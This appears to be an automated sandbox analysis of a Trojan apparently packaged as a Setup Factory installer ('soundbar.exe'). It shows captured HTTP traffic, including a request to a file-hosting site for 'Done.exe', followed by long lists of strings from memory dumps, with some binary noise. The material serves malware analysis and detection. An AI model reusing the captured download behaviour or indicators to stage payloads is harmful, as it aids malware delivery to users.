....[.......1.rQp...Gt4....A..O.....

<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8= HTTP/1.1

Cache-Control: max-age = 511667

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 13 Oct 2016 04:57:34 GMT

If-None-Match: "57ff143e-1d7"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com

HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: public, max-age=172800

Content-Type: application/ocsp-response

Date: Tue, 28 Mar 2017 08:54:23 GMT

Etag: "58d9e590-1d7"

Expires: Mon, 03 Apr 2017 20:54:23 GMT

Last-Modified: Tue, 28 Mar 2017 04:24:48 GMT

Server: ECS (fcn/41B8)

X-Cache: HIT

Content-Length: 471

0..........0..... .....0......0...0.......>.i...G...&....cd ...20170327220000Z0s0q0I0... ............([email protected]>.i...G...&....cd ........\..m. B.]......20170327220000Z....20170403220000Z0...*.H............."....<..(.B]Nl8$.C.)&.....d/.X.H.Z.3..."...'VQ..d...u.n.K??.I...*|..c.xb!.N.>..=.?G...aXMm.>.....0J"6~...e..e..\X.S.M...h.Q..C........E.!...=....- v.........)N.].u......1|...P..k?...u.H...P.p..,{W..X.X..1.a........J.-........G..d..g..O......^..h...^...E.bjHTTP/1.1 200 OK..Accept-Ranges: bytes..Cache-Control: public, max-age=172800..Content-Type: application/ocsp-response..Date: Tue, 28 Mar 2017 08:54:23 GMT..Etag: "58d9e590-1d7"..Expires: Mon, 03 Apr 2017 20:54:23 GMT..Last-Modified: Tue, 28 Mar 2017 04:24:48 GMT..Server: ECS (fcn/41B8)..X-Cache: HIT..Content-Length: 471..0..........0..... .....0......0...0.......>.i...G...&....cd ...20170327220000Z0s0q0I0... ............([email protected]>.i...G...&....cd ........\..m. B.]......20170327220000Z....20170403220000Z0...*.H............."....<..(.B]Nl8$.C.)&.....d/.X.H.Z.3..."...'VQ..d...u.n.K??.I...*|..c.xb!.N.>..=.?G...aXMm.>.....0J"6~...e..e..\X.S.M...h.Q..C........E.!...=....- v.........)N.].u......1|...P..k?...u.H...P.p..,{W..X.X..1.a........J.-........G..d..g..O......^..h...^...E.bj....

<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY+sl+j4yzQuAcL2oQno5fCgQUUWj/kK8CB3U8zNllZGKiErhZcjsCEA9N5D4ZnViCc5eMbrXeuZM= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com

HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: public, max-age=172800

Content-Type: application/ocsp-response

Date: Tue, 28 Mar 2017 08:54:29 GMT

Etag: "58d9c610-3e0"

Expires: Mon, 03 Apr 2017 20:54:29 GMT

Last-Modified: Tue, 28 Mar 2017 02:10:24 GMT

Server: ECS (fcn/41AC)

X-Cache: HIT

Content-Length: 992

0..........0..... .....0......0...0.......Qh.....u<..edb...Yr;..20170328014200Z0..y0..u0I0... .........&....~...B../j..._...Qh.....u<..edb...Yr;...M.>..X.s..n........20170328014200Z....20170404005700Z....0...0..... .....y..............w.......X......gp.<5.......w.........Z.........H0F.!..6...|.....g...,..S:.a...o...[...!..V.R..kM.l...R.?...........(..]M.v.V.../.......D.>.Fv....\....U.......Z.........G0E.!....i...5.H..A6.;.......3......Pn. ^...>=..MU...[.p.H..{..?......J-.w..K..u.`..Bi....f..~_.r....{.z......Z.........H0F.!...F.h.b...........>"1....Tj._d...!..;3Z.......H.........X.u.!...n...v.......q...#...{G8W...R....d6.......Z.........G0E. ?..A.W....q*;S.w....5..(..8.A....!.......G....;*......Y9^_..L....k_0...*.H.............}...0.../..R(B...m.6..9..U...X...a.....UZTz...2. .IQ..k.&<.....{h;.QX2..."../.J/...k.)..oR........3.v.^.&..].Y..;[email protected] .;.b.......>.&....MMr.;...d.,. Ot~.3..Q......F....-W._...j4......=..R. BGI..|[email protected]!.i_.N...V*..z...zD.....AyW...

GET /file/UkjZ HTTP/1.1

Accept: */*

Content-Type: application/x-www-form-urlencoded

User-Agent: Setup Factory 8.0

Host: alfafile.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 28 Mar 2017 08:54:47 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Set-Cookie: pref=9Wr/deARqbu69nIpu70RS/HA0xn7Xypc1ytLlKQ5omA=|c3ad8634dc75dc4c56975e7b6efe941e; expires=Tue, 28-Mar-2017 09:54:47 GMT; Max-Age=3600; path=/payment

Set-Cookie: lang=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Strict-Transport-Security: max-age=604800

1ece..<!doctype html>.<html lang="en">.<head>. <title>File: Done.exe | Alfafile.net</title>.. <link href='hXXp://fonts.googleapis.com/css?family=Open Sans:400,600,700&subset=cyrillic,cyrillic-ext,latin' rel='stylesheet' type='text/css'>. . <link rel="stylesheet" href="/build/css/libs.out-000594a915.css" type="text/css"/>. <link rel="stylesheet" href="/build/css/master.out-808199fc1e.css" type="text/css"/>. .. <meta charset="utf-8">. <meta name="Keywords" content=""/>. <meta name="Description" content=""/>.. <!--<base href="hXXp://alfafile.net/" />-->.</head>..<body >.<div id="all">. . <!-- Header -->. <div id="header">. <div id="header_inner">. <div class="wrapper">. <a href="/" id="logo" title="Alfafile.net"></a>. . . <ul id="main_nav">. . <li><a href="/affiliate" id="a_menu_top_10">Affiliate program</a></li>. . <li><a href="/news" id="a_menu_top_2">News</a></li>. . <li><a href="/faq" id="a_menu_top_4">FAQ</a></li>. . <li><a href="/about_us" id="a_menu_top_1">About us</a></li>. . <li><a href="/support" id="a_menu_top_6">Support</a>&

<<< skipped >>>

GET /MFUwUzBRME8wTTAJBgUrDgMCGgUABBTkLVLomfJQOu5CFIgPOR73ljBRHAQU+L36r3N3xscb+UtNEafRM6+vchECFEOZrYpYgDwxeWGj/HetMtWiXvU/ HTTP/1.1

Cache-Control: max-age = 339923

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 13 Oct 2016 09:41:21 GMT

If-None-Match: "c06e9a4e33eec9dd813b8faff15397229f914d2a"

User-Agent: Microsoft-CryptoAPI/6.1

Host: vassg142.ocsp.omniroot.com

HTTP/1.1 200 OK

Server: nginx

Content-Type: application/ocsp-response

Content-Length: 1746

Last-Modified: Tue, 28 Mar 2017 08:29:34 GMT

ETag: "477b9953cae17a57e87aa0dd4f05fcf80fc87f58"

Cache-Control: public, no-transform, must-revalidate, max-age=339187

Expires: Sat, 01 Apr 2017 07:08:04 GMT

Date: Tue, 28 Mar 2017 08:54:57 GMT

Connection: keep-alive

0..........0..... .....0......0...0.......d._t.a...(..fx..r....20170328082934Z0w0u0M0... .........-R...P:.B...9...0Q.......sw....KM...3..r...C...X.<1ya..w.2..^.?....20170328082934Z....20170401082934Z0...*.H...............][email protected])(........H.9R|GZ.$.........Q |K..J.d..{....o..u.vc.n......=W.....l.........<...\....z8.|..M......r.......$....Q3.r.P".S#[email protected]`8..d....;..=h.'Kb.Z..|.{C)[email protected]??......Q*-.j......<]FT2}..a.V.........:..XS....%......0...0...0..........&.L..J..T...vP..yV..0...*.H........0..1.0...U....NL1.0...U....Amsterdam1%0#..U....Verizon Enterprise Solutions1.0...U....Cybertrust1.0,..U...%Verizon Akamai SureServer CA G14-SHA20...170310213626Z..180309213625Z0..1.0...U....NL1.0...U....Amsterdam1%0#..U....Verizon Enterprise Solutions1.0...U....Cybertrust1%0#..U....vassg142 OCSP Responder 20170.."0...*.H.............0..........\..K.......:..K&!...!`D#'2~mL...<..E`.:Y.I..w.....P..)..o..><^-7.h.zL......3.."....T...-s.g........zUY5q....u...D........(....C.XmF=.r...8h....I.....[...P. ...;..c...0.'x..F..h...&<Q.vO.b2.pm.y..J.P"...H....A....T......._.dc.F-..W....Z...).=.Y..n2...N..E........H0..D0... .....0......0L..U. .E0C0A.. .....>..0402.. ........&hXXps://secure.omniroot.com/repository0~.. ........r0p06.. .....0..*hXXps://cacert.a.omniroot.com/vassg142.crt06.. .....0..*hXXps://cacert.a.omniroot.com/vassg142.der0...U...........0...U.%..0... .......0...U.#..0.......sw....KM...3..r.0...U.......d._t.a...(..fx..r..0...*.H..................6..dez....$...^I.

<<< skipped >>>

GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Tue, 29 Oct 2013 05:02:50 GMT

If-None-Match: "b8b5df1d64d4ce1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com

HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Sun, 26 Feb 2017 06:01:29 GMT

Accept-Ranges: bytes

ETag: "3cb9d3c5f58fd21:0"

Server: Microsoft-IIS/8.5

VTag: 27951357300000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 554

Cache-Control: max-age=900

Date: Tue, 28 Mar 2017 08:54:52 GMT

Connection: keep-alive

0..&0......0...*.H........0y1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1#0!..U....Microsoft Code Signing PCA..170225173331Z..170527055331Z.a0_0...U.#..0..........X..7.3...L...0... .....7.........0...U......c0... .....7......170526174331Z0...*.H.............K..q1;...H..q......7...&m]..2..t.,.5...ln...z[.=Z..GK,2.T..JS}.3./..z...d.....<..j,.......Ww_!...............y...l3.w..............'8.........~..D|.qC.o.........a~Td......j.......m....(dFl.3d.;{..[..(o....3....:bn..1[..O...-?^.....a.m=.Y-O..:...-^i.'X0_.*.HTTP/1.1 200 OK..Content-Type: application/pkix-crl..Last-Modified: Sun, 26 Feb 2017 06:01:29 GMT..Accept-Ranges: bytes..ETag: "3cb9d3c5f58fd21:0"..Server: Microsoft-IIS/8.5..VTag: 27951357300000000..P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Content-Length: 554..Cache-Control: max-age=900..Date: Tue, 28 Mar 2017 08:54:52 GMT..Connection: keep-alive..0..&0......0...*.H........0y1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1#0!..U....Microsoft Code Signing PCA..170225173331Z..170527055331Z.a0_0...U.#..0..........X..7.3...L...0... .....7.........0...U......c0... .....7......170526174331Z0...*.H.............K..q1;...H..q......7...&m]..2..t.,.5...ln...z[.=Z..GK,2.T..JS}.3./..z...d.....<..j,.......Ww_!...............y...l3.w..............'8.........~..D|.qC.o.........a~Td......j.......m....(dFl.3d.;{..[..(o....3....:bn..1[..O...-?^..

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

soundbar.exe_1968:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

@.reloc

@.reloc

diu2.iu

diu2.iu

Advapi32.dll

Advapi32.dll

lua5.1.dll

lua5.1.dll

irsetup.exe

irsetup.exe

Could not determine a temp directory name. Try running setup.exe /T:

Could not determine a temp directory name. Try running setup.exe /T:

c:\temp

c:\temp

%s\irsetup.exe

%s\irsetup.exe

%s%s_%d

%s%s_%d

"__IRSID:%s"

"__IRSID:%s"

"__IRCT:%d"

"__IRCT:%d"

"__IRAFN:%s"

"__IRAFN:%s"

GetProcessWindowStation

GetProcessWindowStation

operator

operator

KERNEL32.dll

KERNEL32.dll

MsgWaitForMultipleObjects

MsgWaitForMultipleObjects

USER32.dll

USER32.dll

ADVAPI32.dll

ADVAPI32.dll

ShellExecuteExA

ShellExecuteExA

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\soundbar.exe

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_0\soundbar.exe

%xERRj3cqZQ

%xERRj3cqZQ

! !!####0

! !!####0

;;;9551%%0

;;;9551%%0

! [email protected]

! [email protected]

version="9.5.0.0"

version="9.5.0.0"

name="setup.exe"/>

name="setup.exe"/>

name="Microsoft.Windows.Common-Controls"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

publicKeyToken="6595b64144ccf1df"

7%7S7v7|7

7%7S7v7|7

mscoree.dll

mscoree.dll

2KERNEL32.DLL

2KERNEL32.DLL

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

- floating point support not loaded

- floating point support not loaded

WUSER32.DLL

WUSER32.DLL

9.5.0.0

9.5.0.0

suf_launch.exe

suf_launch.exe

irsetup.exe_3576:

`.rsrc

`.rsrc

t%SSSS

t%SSSS

SSSSh

SSSSh

t%SWV

t%SWV

u)SSh

u)SSh

u)SShd

u)SShd

TSShX

TSShX

@ SSh

@ SSh

u%SSSV

u%SSSV

SSShT

SSShT

SSSh`

SSSh`

9^$u&SSSSh?

9^$u&SSSSh?

9^$u SSSSh?

9^$u SSSSh?

9^$u)SSSSh?

9^$u)SSSSh?

|SShF

|SShF

t2SSh

t2SSh

Ht.Ht S

Ht.Ht S

FLSSh

FLSSh

GLSSh

GLSSh

GXSSh

GXSSh

FpSSh

FpSSh

FtSSh

FtSSh

G`SSh

G`SSh

.WWWW

.WWWW

Nt.Nt

Nt.Nt

t'SShl

t'SShl

u$SShe

u$SShe

@ SSHPWj

@ SSHPWj

tFHt:Ht.Ht"Hu`

tFHt:Ht.Ht"Hu`

tWSShW

tWSShW

tl9_ tgSSh

tl9_ tgSSh

tAHt.HHt

tAHt.HHt

j%XtL9E

j%XtL9E

FtPW

FtPW

[email protected]

[email protected]

FTCP

FTCP

u.Ph,

u.Ph,

.FG;}

.FG;}

FTPQ

FTPQ

FTPh

FTPh

V SShW

V SShW

O SSh

O SSh

O SSh,

O SSh,

diu2.iu

diu2.iu

kernel32.dll

kernel32.dll

%s (%s:%d)

%s (%s:%d)

c:\Program Files\Microsoft Visual Studio 10.0\VC\atlmfc\include\afxwin1.inl

c:\Program Files\Microsoft Visual Studio 10.0\VC\atlmfc\include\afxwin1.inl

MSG_ERROR

MSG_ERROR

%s %d. %s

%s %d. %s

MSG_ASK_FOR_DISK

MSG_ASK_FOR_DISK

MSG_NEW_LOCATION

MSG_NEW_LOCATION

MSG_CONFIRM_ABORT

MSG_CONFIRM_ABORT

MSG_CONFIRM

MSG_CONFIRM

A%s%s%s.%d

A%s%s%s.%d

%s.%d

%s.%d

%s, Line %d: %s

%s, Line %d: %s

File condition evaluation for file "%s"

File condition evaluation for file "%s"

msi.dll

msi.dll

\msi.dll

\msi.dll

Software\Microsoft\Windows\CurrentVersion\Installer

Software\Microsoft\Windows\CurrentVersion\Installer

C:\temp\SUF_SFX_TEST\

C:\temp\SUF_SFX_TEST\

MSG_INITIALIZING

MSG_INITIALIZING

16670749

16670749

_IgnoreInvalidCertificate

_IgnoreInvalidCertificate

SetEntriesInAcl Error %u

SetEntriesInAcl Error %u

SetNamedSecurityInfo Error %u

SetNamedSecurityInfo Error %u

*.gif

*.gif

*.tif

*.tif

*.tga

*.tga

*.png

*.png

*.pcx

*.pcx

*.jpg

*.jpg

*.bmp

*.bmp

[%d]: %s

[%d]: %s

*** LOCATION: %s

*** LOCATION: %s

__NOREPORT__

__NOREPORT__

in function

in function

in function '%s'

in function '%s'

Line: %d

Line: %d

%d: [%s]

%d: [%s]

Script: %s, %s (%s)

Script: %s, %s (%s)

__ir_eval_value = %s;

__ir_eval_value = %s;

c:\Program Files\Microsoft Visual Studio 10.0\VC\atlmfc\include\afxwin2.inl

c:\Program Files\Microsoft Visual Studio 10.0\VC\atlmfc\include\afxwin2.inl

%Copyright%. All rights reserved. %CompanyURL%

%Copyright%. All rights reserved. %CompanyURL%

WindowStyle

WindowStyle

MainWindowSettings

MainWindowSettings

%s at offset %d unterminated

%s at offset %d unterminated

Incorrect %s at offset %d

Incorrect %s at offset %d

Element '%s' at offset %d not ended

Element '%s' at offset %d not ended

End tag '%s' at offset %d does not match start tag '%s' at offset %d

End tag '%s' at offset %d does not match start tag '%s' at offset %d

No start tag for end tag '%s' at offset %d

No start tag for end tag '%s' at offset %d

%s%d bytes

%s%d bytes

%s%d wide chars to %d bytes

%s%d wide chars to %d bytes

%d bytes to %s%d wide chars

%d bytes to %s%d wide chars

MSG_SEARCH_FILE

MSG_SEARCH_FILE

(*.*)|*.*||

(*.*)|*.*||

MSG_SEARCH_ALL

MSG_SEARCH_ALL

MSG_SEARCH_MASK

MSG_SEARCH_MASK

MSG_INSERTDISK

MSG_INSERTDISK

MSG_CANCEL

MSG_CANCEL

MSG_OK

MSG_OK

MSG_BROWSE

MSG_BROWSE

MSG_PATH

MSG_PATH

Windows Server 10

Windows Server 10

Windows 10

Windows 10

Windows Server 2012 R2

Windows Server 2012 R2

Windows 8.1

Windows 8.1

Windows Server 2012

Windows Server 2012

Windows 8

Windows 8

Windows Server 2008 R2

Windows Server 2008 R2

Windows 7

Windows 7

Windows Server 2008

Windows Server 2008

Windows Vista

Windows Vista

Windows Server 2003

Windows Server 2003

Windows XP

Windows XP

CPasswordData

CPasswordData

-- Defined in _SUF70_Global_Functions.lua

-- Defined in _SUF70_Global_Functions.lua

number e_ErrorCode, string e_ErrorMsgID

number e_ErrorCode, string e_ErrorMsgID

%TempFolder%\%ProductName% Setup Log.txt

%TempFolder%\%ProductName% Setup Log.txt

%StartupFolder%

%StartupFolder%

%StartFolder%

%StartFolder%

%StartProgramsFolder%

%StartProgramsFolder%

ÞsktopFolder%

ÞsktopFolder%

%s\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

%s\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

%CommonFilesFolder%\Microsoft Shared\DAO

%CommonFilesFolder%\Microsoft Shared\DAO

Software\Microsoft\Shared Tools\DAO350.dll

Software\Microsoft\Shared Tools\DAO350.dll

Software\Microsoft\Shared Tools\DAO360.dll

Software\Microsoft\Shared Tools\DAO360.dll

ÚOPath%

ÚOPath%

Software\Microsoft\Windows NT\CurrentVersion

Software\Microsoft\Windows NT\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

%SourceFolder%

%SourceFolder%

%SystemDrive%

%SystemDrive%

_WindowsFolder

_WindowsFolder

%WindowsFolder%

%WindowsFolder%

%SystemFolder%

%SystemFolder%

%CommonFilesFolder%

%CommonFilesFolder%

%CommonFilesFolder64%

%CommonFilesFolder64%

%CommonProgramW6432%

%CommonProgramW6432%

%CommonDocumentsFolder%

%CommonDocumentsFolder%

%StartupFolderCommon%

%StartupFolderCommon%

%StartProgramsFolderCommon%

%StartProgramsFolderCommon%

%StartFolderCommon%

%StartFolderCommon%

%FontsFolder%

%FontsFolder%

ÞsktopFolderCommon%

ÞsktopFolderCommon%

;?;?.lua

;?;?.lua

UninstallSupportFiles

UninstallSupportFiles

CPRegKey

CPRegKey

Run extra uninstall script: %d

Run extra uninstall script: %d

Original: %d

Original: %d

Calculated: %d

Calculated: %d

Unable to open archive file: %d

Unable to open archive file: %d

lua5.1.dll

lua5.1.dll

%SourceDrive%

%SourceDrive%

%SourceFilename%

%SourceFilename%

\irsetup.dat

\irsetup.dat

{D387204B-8FB9-6A21-15FA-0CD14BF40EA9}

{D387204B-8FB9-6A21-15FA-0CD14BF40EA9}

Support file added to uninstall list:

Support file added to uninstall list:

Registry key added to uninstall list:

Registry key added to uninstall list:

Removed! %d

Removed! %d

IDispatch error #%d

IDispatch error #%d

Error 0xx: %s

Error 0xx: %s

Register font: %s, %s

Register font: %s, %s

%sbk%d

%sbk%d

HKEY_CURRENT_USER

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINE

Remove uninstall support file:

Remove uninstall support file:

MSG_NO

MSG_NO

MSG_YES_TOALL

MSG_YES_TOALL

MSG_YES

MSG_YES

MSG_UNINSTALL_OK_REMOVE

MSG_UNINSTALL_OK_REMOVE

MSG_UNINSTALL_NO_APP_USE

MSG_UNINSTALL_NO_APP_USE

MSG_UNINSTALL_REMOVE_SHARED

MSG_UNINSTALL_REMOVE_SHARED

Decrement shared file count: %s (New count = %d)

Decrement shared file count: %s (New count = %d)

SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDLLs

SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDLLs

: %s (#%d)

: %s (#%d)

Global include script: %s

Global include script: %s

RegisterTypeLib: %s

RegisterTypeLib: %s

RegisterTypeLib failure reason: %s

RegisterTypeLib failure reason: %s

RegisterTypeLib: %s - %s

RegisterTypeLib: %s - %s

Register COM file: %s

Register COM file: %s

Register COM failure reason: %s

Register COM failure reason: %s

Register COM file: %s - System Error # %u

Register COM file: %s - System Error # %u

Register COM file on reboot: %s

Register COM file on reboot: %s

regsvr32.exe /s %s

regsvr32.exe /s %s

SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

Increment usage count: %s

Increment usage count: %s

Increment usage count: %s (New count = %d)

Increment usage count: %s (New count = %d)

%s\%s

%s\%s

%s (%d)

%s (%d)

\irsetup.skin

\irsetup.skin

local e_Stage = %d;local e_CurrentItemText=[==[%s]==];local e_CurrentItemPct=%d;local e_StagePct=%d;

local e_Stage = %d;local e_CurrentItemText=[==[%s]==];local e_CurrentItemPct=%d;local e_StagePct=%d;

MSG_SYSREQ_WARN

MSG_SYSREQ_WARN

MSG_NOTICE

MSG_NOTICE

MSG_SYSREQ_ABORT

MSG_SYSREQ_ABORT

%s: %s

%s: %s

MSG_SYSREQ_USERPERMISSION

MSG_SYSREQ_USERPERMISSION

MSG_SYSREQ_SYSTEMADMIN

MSG_SYSREQ_SYSTEMADMIN

MSG_SYSREQ_COLORDEPTH

MSG_SYSREQ_COLORDEPTH

MSG_BITSPERPIXEL

MSG_BITSPERPIXEL

MSG_SYSREQ_SCREENHEIGHT

MSG_SYSREQ_SCREENHEIGHT

%s: %d

%s: %d

MSG_SYSREQ_SCREENWIDTH

MSG_SYSREQ_SCREENWIDTH

%s: %d %s

%s: %d %s

MSG_SYSREQ_RAM

MSG_SYSREQ_RAM

MSG_SIZE_MEGABYTES

MSG_SIZE_MEGABYTES

Operating System

Operating System

MSG_SYSREQ_OS

MSG_SYSREQ_OS

MSG_OS_PART_ORNEWER

MSG_OS_PART_ORNEWER

MSG_OS_PART_NOSERVPACK

MSG_OS_PART_NOSERVPACK

MSG_OS_PART_SERVPACK

MSG_OS_PART_SERVPACK

MSG_OS_PART_SE

MSG_OS_PART_SE

MSG_OS_PART_C

MSG_OS_PART_C

MSG_OS_PART_B

MSG_OS_PART_B

MSG_OS_PART_A

MSG_OS_PART_A

MSG_OS_ALL

MSG_OS_ALL

MSG_OS_NONE

MSG_OS_NONE

MSG_OS_WSRV10

MSG_OS_WSRV10

MSG_OS_W10

MSG_OS_W10

MSG_OS_WSRV2012_R2

MSG_OS_WSRV2012_R2

MSG_OS_W8_1

MSG_OS_W8_1

MSG_OS_WSRV2012

MSG_OS_WSRV2012

MSG_OS_W8

MSG_OS_W8

MSG_OS_WSRV2008_R2

MSG_OS_WSRV2008_R2

MSG_OS_W7

MSG_OS_W7

MSG_OS_WSRV2008

MSG_OS_WSRV2008

MSG_OS_WVISTA

MSG_OS_WVISTA

MSG_OS_WSRV2003

MSG_OS_WSRV2003

MSG_OS_WXP

MSG_OS_WXP

MSG_OS_UNKNOWN

MSG_OS_UNKNOWN

MSG_SYSREQ_NOTMET

MSG_SYSREQ_NOTMET

%s %d %s

%s %d %s

MSG_EXP_USESLEFT

MSG_EXP_USESLEFT

MSG_EXP_USESLEFT2

MSG_EXP_USESLEFT2

%s %I64d %s

%s %I64d %s

MSG_EXP_DAYSLEFT

MSG_EXP_DAYSLEFT

MSG_EXP_DAYSLEFT2

MSG_EXP_DAYSLEFT2

Software\Microsoft\Windows\CurrentVersion\I652R9823\

Software\Microsoft\Windows\CurrentVersion\I652R9823\

MSG_EXP_CONTACT_START

MSG_EXP_CONTACT_START

Run project event: %s

Run project event: %s

local e_ErrorCode=%d; local e_ErrorMsgID = "%s"

local e_ErrorCode=%d; local e_ErrorMsgID = "%s"

Start project event: %s

Start project event: %s

MSG_UNINSTALLFILE_NOREMOVE

MSG_UNINSTALLFILE_NOREMOVE

MSG_UNINSTALLFILE_INUSE

MSG_UNINSTALLFILE_INUSE

%s (%s: %u)

%s (%s: %u)

\WININIT.INI

\WININIT.INI

MSG_FILE_EXISTS_INUSE

MSG_FILE_EXISTS_INUSE

MSG_FILE_EXISTS_RETRY

MSG_FILE_EXISTS_RETRY

MSG_FILE_EXISTS_ANY

MSG_FILE_EXISTS_ANY

MSG_FILE_EXISTS_NEWER

MSG_FILE_EXISTS_NEWER

MSG_FILE_OVERWRITE_CONFIRM

MSG_FILE_OVERWRITE_CONFIRM

%s\%s.lnk

%s\%s.lnk

%s (Return code: %d)

%s (Return code: %d)

Product: %s, version %s

Product: %s, version %s

MSG_SEEKING

MSG_SEEKING

%s (%d):

%s (%d):

Arc: %s

Arc: %s

FN: %s

FN: %s

%s (#%d)

%s (#%d)

MSG_SKIPPING

MSG_SKIPPING

MSG_INSTALLING

MSG_INSTALLING

MSG_PROG_UNINSTALL_CREATECONTROLFILE

MSG_PROG_UNINSTALL_CREATECONTROLFILE

ERR_CREATEUNINSTALL_OPEN_EXE_READ

ERR_CREATEUNINSTALL_OPEN_EXE_READ

ERR_CREATEUNINSTALL_OPEN_EXE_WRITE

ERR_CREATEUNINSTALL_OPEN_EXE_WRITE

Overwrite uninstall executable:

Overwrite uninstall executable:

Existing uninstall executable is newer. Will not overwrite.

Existing uninstall executable is newer. Will not overwrite.

Compared uninstall file versions. New: %s Old: %s Result: %d

Compared uninstall file versions. New: %s Old: %s Result: %d

Uninstall executable already exists: %s

Uninstall executable already exists: %s

MSG_PROG_UNINSTALL_CREATEEXE

MSG_PROG_UNINSTALL_CREATEEXE

@MSG_PROG_UNINSTALL_CREATEDATFILE

@MSG_PROG_UNINSTALL_CREATEDATFILE

MSG_PROG_UNINSTALL_CREATEFOLDER

MSG_PROG_UNINSTALL_CREATEFOLDER

"/U:%s"

"/U:%s"

MSG_PROG_UNINSTALL_CREATESC

MSG_PROG_UNINSTALL_CREATESC

Create uninstall CP entry key

Create uninstall CP entry key

ERR_CREATEUNINSTALL_CREATEREGKEY

ERR_CREATEUNINSTALL_CREATEREGKEY

"%s",%d

"%s",%d

Uninstall CP entry: URLUpdateInfo =

Uninstall CP entry: URLUpdateInfo =

URLUpdateInfo

URLUpdateInfo

Uninstall CP entry: URLInfoAbout =

Uninstall CP entry: URLInfoAbout =

URLInfoAbout

URLInfoAbout

"%s" "/U:%s"

"%s" "/U:%s"

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

MSG_PROG_UNINSTALL_CREATECPENTRY

MSG_PROG_UNINSTALL_CREATECPENTRY

MSG_PROG_UNINSTALL_COPYSUPPORTFILES

MSG_PROG_UNINSTALL_COPYSUPPORTFILES

MSG_PROG_UNINSTALL_COPYPLUGINS

MSG_PROG_UNINSTALL_COPYPLUGINS

%s %s

%s %s

MSG_REQUIRED_DRIVE

MSG_REQUIRED_DRIVE

MSG_AVAILABLE_DRIVE

MSG_AVAILABLE_DRIVE

Dependency Detection Passed

Dependency Detection Passed

MSG_PROG_CHECKING_DRIVESPACE

MSG_PROG_CHECKING_DRIVESPACE

MSG_PROG_CHECKING_FILES

MSG_PROG_CHECKING_FILES

%A, %B %d, %Y

%A, %B %d, %Y

[%s] %s

[%s] %s

%m/%d/%Y %H:%M:%S

%m/%d/%Y %H:%M:%S

MsgFile

MsgFile

ERR_MSI_PATCH_REMOVAL_UNSUPPORTED

ERR_MSI_PATCH_REMOVAL_UNSUPPORTED

ERR_MSI_PATCH_PACKAGE_UNSUPPORTED

ERR_MSI_PATCH_PACKAGE_UNSUPPORTED

ERR_MSI_INSTALL_PLATFORM_UNSUPPORTED

ERR_MSI_INSTALL_PLATFORM_UNSUPPORTED

ERR_MSI_UNSUPPORTED_TYPE

ERR_MSI_UNSUPPORTED_TYPE

ERR_MSI_INSTALL_LANGUAGE_UNSUPPORTED

ERR_MSI_INSTALL_LANGUAGE_UNSUPPORTED

ERR_SERVER_FILE_DOWNLOAD_SET_PROXY_PASSWORD

ERR_SERVER_FILE_DOWNLOAD_SET_PROXY_PASSWORD

ERR_SERVER_FILE_DOWNLOAD_OPEN_FTP_FILE

ERR_SERVER_FILE_DOWNLOAD_OPEN_FTP_FILE

ERR_SERVER_FILE_DOWNLOAD_OPEN_HTTP_FILE

ERR_SERVER_FILE_DOWNLOAD_OPEN_HTTP_FILE

ERR_ODBC_INVALID_KEYWORD_VALUE

ERR_ODBC_INVALID_KEYWORD_VALUE

ERR_WEB_503

ERR_WEB_503

ERR_WEB_500

ERR_WEB_500

ERR_WEB_404

ERR_WEB_404

ERR_WEB_403

ERR_WEB_403

ERR_WEB_400

ERR_WEB_400

ERR_WEB_SET_PROXY_PASSWORD

ERR_WEB_SET_PROXY_PASSWORD

